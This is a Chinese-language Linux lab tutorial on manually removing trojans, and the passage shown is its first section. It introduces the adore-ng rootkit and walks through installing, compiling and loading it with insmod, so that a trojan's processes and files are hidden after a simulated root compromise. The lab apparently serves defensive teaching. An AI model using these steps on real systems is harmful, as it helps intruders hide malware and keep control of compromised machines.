Linux下手动查杀木马过程

1 使用rootkit把木马程序的父进程和木马文件隐藏 （此章节实验需在CentOS 6下进行）

1.1Rootkit概述

Rootkit概述：Rootkit是一种特殊的恶意软件，它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息，比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。我们接下来讲介绍 adore-ng （rootkit其中一种）的使用方法。 注：adore [əˈdɔ:®] 崇拜
adore-ng可以在linux系统下实现：提权，隐藏进程号，隐藏文件等功能
官网：https://github.com/trimpsyw/adore-ng

1.2实战-通过rootkit隐蔽行踪

实战背景： 当黑客已经上传了木马-》获得普通权限-》提权成root -》现在开始使用rootkit隐蔽行踪。

1、安装adore-ng

上传adore-ng-master.zip到linux系统上

root@xinsz08-1 yum.repos.d]# rpm  -ivh /mnt/Packages/kernel-devel-2.6.32-431.el6.x86_64.rpm  #安装依赖包
[root@zmedu63 ~]# unzip adore-ng-master.zip
[root@zmedu63 ~]# cd adore-ng-master 
[root@zmedu63 adore-ng-master]# make -j 4            #编译，将源码编译成二进制文件，不需要执行make install 文件
[root@zmedu63 adore-ng-master]# insmod adore-ng.ko   #加载模块。